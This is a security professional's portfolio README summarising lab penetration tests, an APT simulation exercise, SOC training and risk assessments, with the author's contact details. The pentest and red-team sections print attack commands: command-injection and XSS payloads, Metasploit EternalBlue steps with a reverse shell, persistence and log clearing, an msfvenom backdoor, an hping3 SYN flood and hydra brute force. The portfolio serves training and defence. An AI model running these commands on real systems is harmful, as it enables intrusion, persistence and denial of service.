20 documented engagements across penetration testing, vulnerability assessment, OSINT, SOC operations, APT simulation, incident response, and security research.
Ogbodo Uchenna Maxwell Adrian is a multidisciplinary security professional with hands-on experience across offensive and defensive cybersecurity. This portfolio documents real internship engagements, formal lab exercises, and independent research conducted across multiple organizations including EvolveHQ, Digitanotion Limited, ICDFA, TechCrush, and Remote Hustle.
- 🔗 GitHub: @MaxCybOps
- 💼 LinkedIn: uchenna-ogbodo-5bb270235
- 📧 ogbodomaxwell23@gmail.com | 📞 +234 706 278 2519
All offensive work was conducted in authorized, controlled environments. Real engagements were performed under signed NDAs with explicit authorization from supervising organizations.
cybersecurity-portfolio/
│
├── 01-vulnerability-assessment/
│ ├── bWAPP-Assessment-Digitanotion/
│ ├── MySQL-Server-Assessment/
│ └── Botium-Toys-Risk-Assessment/
│
├── 02-penetration-testing/
│ ├── DVWA-Web-Exploitation-EvolveHQ/
│ ├── EternalBlue-MS17-010-TryHackMe/
│ └── DVWA-Brute-Force-Three-Levels/
│
├── 03-apt-red-team/
│ ├── Operation-Shadow-Strike-ICDFA/
│ └── Operation-AEGIS-SHIELD-ICDFA/
│
├── 04-osint/
│ └── OSINT-Challenge-Digitanotion/
│
├── 05-soc-blue-team/
│ ├── TechCrush-SOC-Bootcamp/
│ └── Incident-Response-Playbooks/
│
├── 06-security-engineering/
│ ├── Remote-Hustle-Security-Implementation/
│ └── OWASP-Top10-Digitanotion/
│
├── 07-linux-networking-labs/
│ ├── Wireshark-Network-Analysis/
│ ├── Data-Encryption-Hashing-SSH/
│ ├── File-Permissions-Linux/
│ ├── SQL-Filters-Security/
│ └── Kali-Bash-Automation/
│
├── 08-security-research/
│ ├── MITRE-Frameworks-Analysis/
│ └── Cloud-Security-AWS/
│
└── README.md
| # | Engagement | Type | Organization | Tools |
|---|---|---|---|---|
| 01 | bWAPP Vulnerability Assessment | VAPT | Digitanotion Ltd | OWASP ZAP, Manual |
| 02 | MySQL Server Vulnerability Assessment | Risk Assessment | E-commerce Co. | NIST SP 800-30 |
| 03 | Botium Toys Risk Assessment | Security Audit | Botium Toys | NIST CSF |
| 04 | DVWA Web Application Exploitation | Pen Testing | EvolveHQ | Burp Suite, Manual |
| 05 | EternalBlue MS17-010 Exploitation | Pen Testing | EvolveHQ / TryHackMe | Nmap, Metasploit |
| 06 | DVWA Brute Force — 3 Security Levels | Web App Testing | EvolveHQ | Burp Suite Intruder |
| 07 | Operation Shadow Strike — APT Simulation | Red Team / APT | ICDFA | Metasploit, SET, hping3, Nmap |
| 08 | Operation AEGIS SHIELD — Cyber Command Exercise | Blue Team / C2 | ICDFA | MITRE ATT&CK, OODA |
| 09 | OSINT Challenge — Investigating the Unknown | OSINT | Digitanotion Ltd | Google Dorking, Yandex, TinEye |
| 10 | TechCrush SOC Bootcamp | SOC / Blue Team | TechCrush | Wireshark, Splunk, Wazuh |
| 11 | Incident Response Playbooks | IR Planning | TechCrush | NIST IR Framework |
| 12 | Remote Hustle Security Implementation | Security Engineering | Remote Hustle | Policy Design, RBAC |
| 13 | OWASP Top 10 — Digitanotion Defence | Security Research | Digitanotion Ltd | OWASP, CVE Research |
| 14 | Wireshark Network Traffic Analysis | Network Analysis | TechCrush Lab | Wireshark, ping, ARP |
| 15 | Data Encryption, Hashing & Secure Transfer | Cryptography Lab | TechCrush | GPG, SHA256, SCP, SSH |
| 16 | File Permissions in Linux | Linux Security | Google Cybersecurity | chmod, ls -la |
| 17 | SQL Filters for Security Investigations | Security Analytics | Google Cybersecurity | SQL, MySQL |
| 18 | Kali Linux Bash Automation | Scripting | Independent | Bash, chmod |
| 19 | MITRE Frameworks Deep Dive | Security Research | ICDFA | ATT&CK, D3FEND, CAPEC, CVE, CWE |
| 20 | Cloud Security — AWS Assessment | Cloud Security | Independent | AWS IAM, MFA |
Organization: Digitanotion Limited | Role: VAPT Intern | Date: December 2024 Supervisor: Mr. Divine Ezelibe (CISO) | Ticket: RT09219
White-box vulnerability assessment of bWAPP (Buggy Web Application) hosted on Docker. Conducted as a formal internship challenge simulating real-world VAPT methodology with CVSS scoring, structured reporting, and remediation planning.
| Vulnerability | Risk | CVSS | Discovery Method |
|---|---|---|---|
SQL Injection (/login.php, /admin.php) |
High | 7.5 | OWASP ZAP + Manual |
| Absence of Anti-CSRF Tokens | Medium | — | ZAP Passive Scan |
| Content Security Policy Not Set | Medium | — | ZAP Passive Scan |
| Application Error Disclosure | Medium | — | ZAP Passive Scan |
| Directory Browsing Enabled | Medium | — | ZAP Active Scan |
| Missing Anti-Clickjacking Header | Medium | — | ZAP Passive Scan |
| Cookie No HttpOnly Flag | Low | — | ZAP Passive Scan |
| Cookie without SameSite Attribute | Low | — | ZAP Passive Scan |
Hidden File Found (/phpinfo.php) |
Medium | — | ZAP Active Scan |
Total: 17 alerts — 0 High (post-manual), 6 Medium, 5 Low, 6 Informational
- Deployed bWAPP on Docker, configured OWASP ZAP 2.15.0 as proxy
- Ran traditional spider + AJAX spider against
http://127.5.0.1 - Executed automated active scan (4,394 requests, 146 new alerts identified)
- Supplemented with manual testing on
/login.phpand/admin.php - Scored findings using CVSS v3.1 and compiled formal report with remediation
- Parameterized queries and prepared statements for all DB interactions
- Anti-CSRF tokens on all form submissions
- Content Security Policy and X-Frame-Options headers
- Disable directory browsing at web server level
- Suppress detailed error messages in production
Context: Newly hired security analyst at an e-commerce company | Date: January 2024 Framework: NIST SP 800-30 Rev. 1
- CPU: High-performance server | RAM: 128GB | OS: Latest Linux
- Database: MySQL | Network: IPv4 with SSL/TLS | Exposure: Public-facing
| Threat Source | Threat Event | Likelihood | Severity | Risk Score |
|---|---|---|---|---|
| Competitor | Data infiltration and exfiltration | 3 | 3 | 9 (High) |
| Employee | Alteration or deletion of critical data | 3 | 2 | 6 (Medium) |
| Hacker | SQL injection, DDoS attacks | 3 | 3 | 9 (High) |
- Upgrade SSL to TLS for all data in motion
- Deploy IDPS for real-time traffic monitoring
- Implement IP allowlisting to restrict database access
- Schedule quarterly penetration testing
- Launch user security awareness training
Framework: NIST Cybersecurity Framework (CSF) | Risk Score: 8/10 (High)
- No encryption for cardholder data (PCI-DSS violation risk)
- All employees have access to PII/SPII — no least privilege enforcement
- No Intrusion Detection System (IDS) deployed
- No disaster recovery plan or critical data backups
- Weak password policy below current complexity standards
- No centralized password management system
- Legacy systems lack scheduled monitoring
- Firewall with defined security rules
- Antivirus software monitored regularly
- GDPR 72-hour breach notification plan for EU customers
- Physical security: locks, CCTV, fire detection
Organization: EvolveHQ Red Team Bootcamp | Framework: OWASP Top 10
Brute Force (Authentication Bypass)
- Endpoint:
/login.php - Tool: Burp Suite Intruder (Cluster Bomb attack)
- Result: Recovered credentials —
admin:password,gordonb:abc123,smithy:password,pablo:letmein,1337:charley - Root Cause: No rate limiting, account lockout, or CAPTCHA
- Mitigation: Rate limiting, lockout after 5 failed attempts, CAPTCHA
Command Injection
- Payloads:
; whoami,; cat /etc/passwd,; ls - Root Cause: User input passed directly to system shell without sanitization
- Mitigation:
escapeshellarg(), input whitelisting, disable dangerous PHP functions
Authorization Bypass (IDOR)
- Method: Direct URL access to admin-restricted pages without role validation
- Root Cause: No server-side session/role checks on restricted endpoints
- Mitigation: Role-based access control, server-side session validation on every request
Cross-Site Scripting (XSS)
- Payload:
<script>alert('XSS')</script>in comment fields and search forms - Root Cause: No output encoding — user input reflected directly in HTML
- Mitigation: HTML entity encoding, Content Security Policy header
| Technique | ID | Phase |
|---|---|---|
| Brute Force | T1110 | Credential Access |
| Command & Scripting Interpreter | T1059 | Execution |
| Exploit Public-Facing Application | T1190 | Initial Access |
| Stored XSS | T1185 | Collection |
Platform: TryHackMe "Blue" Machine | Organization: EvolveHQ Vulnerability: CVE-2017-0144 (EternalBlue — NSA exploit, leaked by Shadow Brokers)
1. Enumeration
nmap -A <target_ip>Open ports: 135, 139, 445 (SMB), 3389 (RDP), 49152-49157 (RPC)
2. Service Detection
nmap -p 445 --script smb-vuln* <target_ip>Result: SMBv1 enabled — vulnerable to MS17-010 (EternalBlue)
3. Exploitation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
run
4. Post-Exploitation
meterpreter > shell
C:\> whoami
nt authority\system
C:\> dir C:\Users
Administrator Public
5. Privilege Escalation
EternalBlue directly grants NT AUTHORITY\SYSTEM — highest Windows privilege level.
6. Persistence
meterpreter > run persistence -X -i 10 -p 4444 -r <attacker_ip>
Scheduled task created for reboot persistence.
7. Clean Up
meterpreter > clearev
meterpreter > reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v <key>
C:\> del <uploaded_files>
EternalBlue remains one of the most impactful vulnerabilities ever discovered — responsible for WannaCry and NotPetya ransomware campaigns. Patched by MS17-010 (March 2017). Organizations running unpatched Windows 7/Server 2008 remain at critical risk.
Tool: Burp Suite Intruder | Target: DVWA Login Form
- Attack Type: Cluster Bomb (iterates all username/password combinations)
- No protections present
- Recovered:
gordonb:abc123,admin:password,smithy:password,pablo:letmein,1337:charley
- Protection added: 2-second delay after each failed attempt
- Attack still succeeds — delay only slows, does not stop brute force
- Same attack type, same results
- Protection added: CSRF token per login attempt
- Attack type changed to: Pitchfork
- Payload 2: Recursive Grep to extract CSRF token dynamically per request
- Custom resource pool: Max concurrent requests = 1 (required for recursive grep)
- Burp extracts hidden token value from page response, uses it in next request
- Result:
admin:passwordstill recovered - Lesson: CSRF tokens prevent cross-site attacks but not same-session brute force without additional controls like account lockout
Organization: ICDFA | Course: ACW202 — Offensive Cyber Operations Registration: 2025/ACW/5607 | Framework: MITRE ATT&CK
Full 5-phase Advanced Persistent Threat simulation against fictional GlobalTech Solutions, mirroring nation-state actor methodology.
| Phase | Objective | Tool | MITRE ID |
|---|---|---|---|
| 1 — DDoS Disruption | Overwhelm web server, create chaos | hping3 SYN flood | T1498 |
| 2 — Spear Phishing | Steal credentials via cloned login portal | Social Engineering Toolkit (SET) | T1566.002 |
| 3 — Persistence | Install reverse shell backdoor surviving reboots | Metasploit msfvenom | T1547 |
| 4 — Lateral Movement | Move from foothold to domain controller | Nmap + Hydra + psexec | T1021.002 |
| 5 — Data Exfiltration | Extract sensitive files undetected | Python AES + SCP | T1048 |
# Phase 1 - DDoS
sudo hping3 -S --flood -V -p 80 <victim_ip>
# Phase 3 - Payload generation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o backdoor.exe
# Phase 4 - Network enumeration
nmap -sV -O 192.168.189.0/24
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_ip> ssh| Phase | Control 1 | Control 2 | Control 3 |
|---|---|---|---|
| DDoS | Rate limiting | WAF | Cloud DDoS scrubbing |
| Phishing | MFA | User awareness training | Email sandboxing |
| Persistence | EDR | File integrity monitoring | App whitelisting |
| Lateral Movement | Strong password policy | Network segmentation | Behavioral analytics |
| Exfiltration | DLP solutions | Outbound firewall | Encrypted traffic inspection |
Organization: ICDFA | Course: ACW904 | Role: Watch Commander, Watch Team Delta
Network Defended: Poseidon Maritime Logistics Network (.poseidon.sl.gov)
Real-time APT incident response exercise. Commanded a 4-person cyber team (Network Analyst, Endpoint Analyst, Incident Responder, Malware Reverse Engineer) through a live intrusion by threat actor IRON VORTEX.
| Time (Zulu) | Event | Action Taken |
|---|---|---|
| 08:30 | Suspicious Excel attachment flagged — Q4_Manifests_Urgent.xlsm |
ANALYZE attachment; MONITOR logistics workstations |
| 09:15 | EDR alert: powershell.exe spawned by EXCEL.EXE on EMP-WS-1138, connecting to 185.141.25.234 |
ISOLATE HOST; BLOCK IP; REQUEST FORENSICS |
| 09:45 | C2 heartbeat confirmed — encrypted outbound connections every 90 seconds on port 443 | REQUEST MALWARE ANALYSIS; REPORT & ESCALATE to OPCOM |
| 10:30 | Lateral movement detected — host enumerating network shares, attempting access to CM-DB-01 |
ISOLATE HOST immediately; PROTECT critical asset |
| 11:30 | MRE extracts 3 hardcoded C2 domains from IRON VORTEX binary | BLOCK all 3 domains; FINAL SITREP to OPCOM-CYBER |
sysupdate.northlandia-cdn[.]comcontent-delivery.northlandia-cdn[.]comapi.cloud-services.northlandia-cdn[.]com
Applied OODA Loop (Observe → Orient → Decide → Act) and Rules of Engagement throughout. Balanced evidence preservation against critical asset protection — ultimately prioritized containing threat to CM-DB-01 over extended intelligence collection when adversary moved to Actions on Objectives.
Organization: Digitanotion Limited | Date: December 1, 2024
- Google Dorking (
site:operator) - Yandex Reverse Image Search
- TinEye Reverse Image Search
- Microsoft Bing Visual Search
| Target | Result | Method |
|---|---|---|
| Restaurant Name | Katz's Delicatessen | Reverse image search |
| Phone Number | +1 212-254-2246 | Official website |
| Website | katzsdelicatessen.com | Direct search |
| Founded | 1888 | Wikipedia + official sources |
| Target URL | katzsdelicatessen.com/corned-beef |
Google Dork |
| Dork Payload | site:katzsdelicatessen.com corned beef |
Self-constructed |
- Precision dorking with
site:operator dramatically narrows results - Cross-referencing Yandex and TinEye provides different image origin perspectives
- All findings must be verified through at least two independent sources before reporting
Duration: 8 Weeks + Capstone | Role: SOC Analyst Trainee
| Week | Topic | Skills Gained |
|---|---|---|
| 1 | Cybersecurity Fundamentals | CIA Triad, threat landscape, SOC structure and roles |
| 2 | Cryptography | Symmetric/asymmetric encryption, hashing, CyberChef practical |
| 3 | Network Security | OSI model, firewalls, IDS/IPS, Wireshark (HTTP vs HTTPS) |
| 4 | Windows Security | UAC, Windows Defender, patch management |
| 5 | Linux Security | File permissions, SELinux, AppArmor, hardening |
| 6 | Incident Response | IR lifecycle, digital forensics, log analysis, evidence handling |
| 7 | Threat Intelligence | Intel lifecycle, threat hunting methodologies, IOC analysis |
| 8 | Advanced SOC | SOAR, playbooks, APT defense strategies |
| 9-12 | Capstone | Full SOC simulation — detection, triage, response, reporting |
Completed integrated capstone demonstrating full SOC workflow: alert triage → incident identification → containment → forensic collection → formal incident report.
Course: TechCrush Bootcamp Capstone | Framework: NIST Incident Response
Playbook 1 — Phishing Attack
- Triggers: Unusual login from new geography, reported suspicious email, credential alert
- Phases: Identify → Isolate affected account → Reset credentials → Scan for malware → User notification → Post-incident review
- Roles: Incident Commander, Tier 1 Analyst, Email Admin, HR (user communication)
Playbook 2 — Ransomware Infection
- Triggers: File extension changes, ransom note detected, C2 beaconing, mass file encryption
- Phases: Isolate infected hosts → Identify blast radius → Restore from clean backup → Patch vector → Notify stakeholders
- Roles: Incident Commander, Forensics Lead, Backup Admin, Legal/Compliance
Playbook 3 — DDoS Attack
- Triggers: Traffic spike >300% baseline, service unavailability, ISP alerts
- Phases: Activate DDoS mitigation → Enable cloud scrubbing → Rate limit → Communicate status → Root cause analysis
- Roles: NOC Lead, Security Engineer, Communications Lead
Post-Incident Review Template Each playbook includes a post-incident template capturing: timeline reconstruction, root cause, systems affected, detection gap analysis, and control improvements.
Organization: Remote Hustle | Submission: Stage 1 — Cybersecurity & Tech Security
- Minimum 14 characters (20 for admin accounts)
- Complexity: uppercase, lowercase, numbers, special characters
- Rotation: 90 days standard, 60 days privileged
- No reuse for previous 12 cycles
- Storage: bcrypt/Argon2/scrypt hashing with salt — no reversible encryption
- Recommended managers: Bitwarden Teams, 1Password, LastPass Business
- Method: TOTP via Authenticator App (Google/Microsoft Authenticator, Authy)
- Rationale: More secure than SMS — resistant to SIM-swap attacks
- Deployment: Google Admin Console → Security → 2-Step Verification → Enforce for all users
- Grace period: 7 days enrollment window
- Monitoring: Reports → User Reports → Security to track enrollment
| Department | View Access | Edit Access | Admin | Approval |
|---|---|---|---|---|
| HR | Employee records, PII, payroll | Own dept files, onboarding | HR portal only | HR Manager |
| Developers | Codebase, dev docs, test envs | Dev repos, staging, APIs | Dev tools, CI/CD | Lead Dev / CTO |
| Finance | Financial reports, invoices | Finance sheets, payment records | Accounting software | CFO |
| Marketing | Campaign data, analytics | Marketing collateral, social | Marketing platform | Marketing Manager |
| Admin | All company documents | All operational files | Full system admin | CEO / CTO (dual) |
Key principles: Least Privilege, Need-to-Know, Segregation of Duties, Quarterly Access Reviews, 12-month Audit Log Retention
Organization: Digitanotion Limited | Reference: Equifax 2017 Breach Case Study
| OWASP # | Vulnerability | Relevance to Digitanotion | Mitigation |
|---|---|---|---|
| A01 | Broken Access Control | Internal users accessing unauthorized data | RBAC, server-side authorization checks |
| A02 | Cryptographic Failures | Customer data transmitted without encryption | TLS 1.3, encrypt data at rest |
| A03 | Injection | SQL injection in web forms | Parameterized queries, input validation |
| A05 | Security Misconfiguration | Default credentials, directory browsing | Security hardening baseline |
| A07 | Identification & Auth Failures | Weak session management | MFA, secure session tokens |
| A09 | Security Logging Failures | No audit trail for data access | Centralized logging, SIEM integration |
A known Apache Struts vulnerability (CVE-2017-5638) went unpatched for 78 days, exposing 147 million records. The lesson for Digitanotion: patch management SLAs must be defined and enforced — critical patches within 24-48 hours, high within 7 days.
Course: EvolveHQ / TechCrush Lab | Focus: ICMP, ARP, MAC address behavior
ping 192.168.1.114
- Source MAC: Local NIC MAC address (confirmed via
ipconfig /all) - Destination MAC: Target PC's actual MAC address
- MAC Resolution: ARP broadcast → ARP reply → ARP table updated → ICMP sent
| Domain | IP Resolved | Source MAC | Destination MAC |
|---|---|---|---|
| evolvehq.com | 172.232.25.148 | 34:c9:3d:e9:d6:08 | 46:a8:fc:5a:21:64 (Gateway) |
| www.cisco.com | 23.192.24.118 | 34:c9:3d:e9:d6:08 | 46:a8:fc:5a:21:64 (Gateway) |
| www.google.com | 216.58.223.206 | 34:c9:3d:e9:d6:08 | 46:a8:fc:5a:21:64 (Gateway) |
Key Finding: For remote hosts, the destination MAC is always the default gateway (router), not the remote server. MAC addresses operate at Layer 2 (Data Link) and are only meaningful within a single network segment. IP routing handles cross-network delivery.
Course: TechCrush Capstone | Tools: GPG, SHA256sum, SCP, SSH, Wireshark
# Create plaintext file
nano plaintext.txt
# Encrypt with GPG (adds .gpg extension)
gpg -c plaintext.txt
# Generate SHA-256 hash for integrity verification
sha256sum plaintext.txt
# Enable SSH for secure transfer
sudo systemctl enable ssh
sudo systemctl start ssh
# Transfer both files securely via SCP
scp plaintext.txt plaintext.txt.gpg hostname@<ip>:/destination/path- Unencrypted file (SCP of plaintext.txt): TCP stream shows readable content
- Encrypted file (SCP of .gpg file): TCP stream shows ciphertext — data is unreadable even with packet capture
- Conclusion: GPG encryption provides confidentiality in transit; even if packets are intercepted via MITM, the actual data content remains protected
Course: Google Cybersecurity Professional Certificate | Tool: Linux CLI
# Check permissions
ls -la
# Remove write permission from 'others' on project_k.txt
chmod o-w project_k.txt
# Result: -rw-rw-r-- (others can no longer write)
# Set hidden file .project_x.txt to read-only for user and group
chmod ug=r,ug-w .project_x.txt
# Result: -r--r----- (archived file, no write for anyone)
# Remove group execute from drafts/ directory
chmod g-x drafts
# Result: drwx------ (only researcher2 can access drafts)-rw-rw-rw- → Regular file | Owner: rw | Group: rw | Others: rw
drwxr-xr-x → Directory | Owner: rwx | Group: r-x | Others: r-x
Course: Google Cybersecurity Professional Certificate
-- Failed logins after business hours
SELECT * FROM log_in_attempts
WHERE login_time > '18:00' AND success = FALSE;
-- Login attempts on suspicious dates
SELECT * FROM log_in_attempts
WHERE login_date = '2022-05-09' OR login_date = '2022-05-08';
-- Login attempts outside Mexico (covers MEX and MEXICO)
SELECT * FROM log_in_attempts
WHERE NOT country LIKE 'MEX%';
-- Marketing employees in East building (for security updates)
SELECT * FROM employees
WHERE department = 'Marketing' AND office LIKE 'East%';SQL filtering is foundational for SOC analysts — used daily for log analysis, threat hunting, user behavior analytics, and access control audits. These queries demonstrate the ability to isolate anomalous events from large datasets efficiently.
Tool: Bash | Platform: Kali Linux
Automates creation of standardized security project folder structure with proper 755 permissions.
# Directories created:
project_name/
├── docs/ (755)
├── src/ (755)
├── tests/ (755)
├── config/ (755)
├── data/
│ ├── raw/ (755)
│ └── processed/ (755)
└── logs/ (755)Full script available in: 07-linux-networking-labs/Kali-Bash-Automation/project_setup.sh
Organization: ICDFA | Type: Security Research
| Framework | Purpose | Real-World Application |
|---|---|---|
| ATT&CK | Adversarial tactics, techniques, procedures | Threat hunting, red team planning, SIEM rule tuning |
| D3FEND | Defensive countermeasures mapped to ATT&CK | Security gap analysis, defensive tool selection |
| CAPEC | Attack pattern enumeration | Threat modeling, developer security training |
| CWE | Software and hardware weakness catalog | Secure coding, SAST/DAST integration |
| CVE | Known vulnerability catalog | Patch management, vulnerability prioritization |
| MITRE Engage | Active defense and adversary deception | Honeypot deployment, intelligence gathering |
Key Insight: The highest value comes from combining frameworks — ATT&CK + CAPEC maps the how, CVE + CWE identifies what's vulnerable, D3FEND prescribes how to defend. AI-driven correlation across all frameworks represents the future of proactive threat management.
Focus: AWS Security Fundamentals and Shared Responsibility Model
| Concept | Key Finding |
|---|---|
| Shared Responsibility | Provider secures infrastructure; customer secures data, identities, and configurations |
| IAM | Centralized identity management — all access should flow through IAM roles and policies |
| MFA | Critical second factor — reduces account compromise risk by 99%+ |
| Least Privilege | IAM policies should grant minimum required permissions only |
| Encryption in Transit | TLS mandatory for all data moving between services |
| Private Cloud | Single-org deployment for maximum control over sensitive workloads |
| Scalability | Cloud resources scale on demand — security controls must scale with them |
All offensive security techniques documented in this portfolio were performed exclusively in:
- Authorized internship environments (Digitanotion, EvolveHQ, Remote Hustle)
- Controlled lab platforms (TryHackMe, Docker local instances, VirtualBox VMs)
- Intentionally vulnerable applications (bWAPP, DVWA)
- Academic simulation exercises (ICDFA ACW202, ACW904)
Real engagements were conducted under signed Non-Disclosure Agreements. All findings were reported responsibly to supervising security professionals. No unauthorized systems were accessed at any time.
All certificates are available in the
/certificationsfolder of this repository.
| # | Certification | Issuer | Date | File |
|---|---|---|---|---|
| 01 | Oracle Cloud Infrastructure AI Foundations Associate | Oracle | Oct 2025 | View |
| 02 | Cybersecurity Career Starter Certification (CCSC) | Hack & Fix Academy | Dec 2025 | View |
| 03 | 15-Week Cybersecurity Bootcamp | TechCrush | Jan 2025 | View |
| 04 | Introduction to Penetration Testing | StationX | Sep 2025 | View |
| 05 | IT Auditing & GRC Bootcamp | TC | Sep 2025 | View |
| 06 | Cybersecurity Programme | EvolveHQ | Dec 2024 | View |
| 07 | ISO/IEC 27001:2022 ISMS Foundation | SandBP | Nov 2024 | View |
| 08 | ISO 31000:2018 Risk Management Foundation | SandBP | Nov 2024 | View |
| 09 | Introduction to Cybersecurity Badge | Cisco | Sep 2024 | View |
| 10 | Introduction to Cyber Security | Great Learning | Dec 2024 | View |
| 11 | VAPT Internship Certificate | Digitanotion Ltd | Dec 2024 | View |
All offensive security techniques documented in this portfolio were performed exclusively in authorized internship environments, controlled lab platforms (TryHackMe, Docker, VirtualBox), intentionally vulnerable applications (bWAPP, DVWA), and academic simulation exercises (ICDFA). Real engagements were conducted under signed NDAs. No unauthorized systems were accessed at any time.
"Security is not a product, it is a process — and this portfolio reflects that process in action."
Ogbodo Uchenna Maxwell Adrian | @MaxCybOps

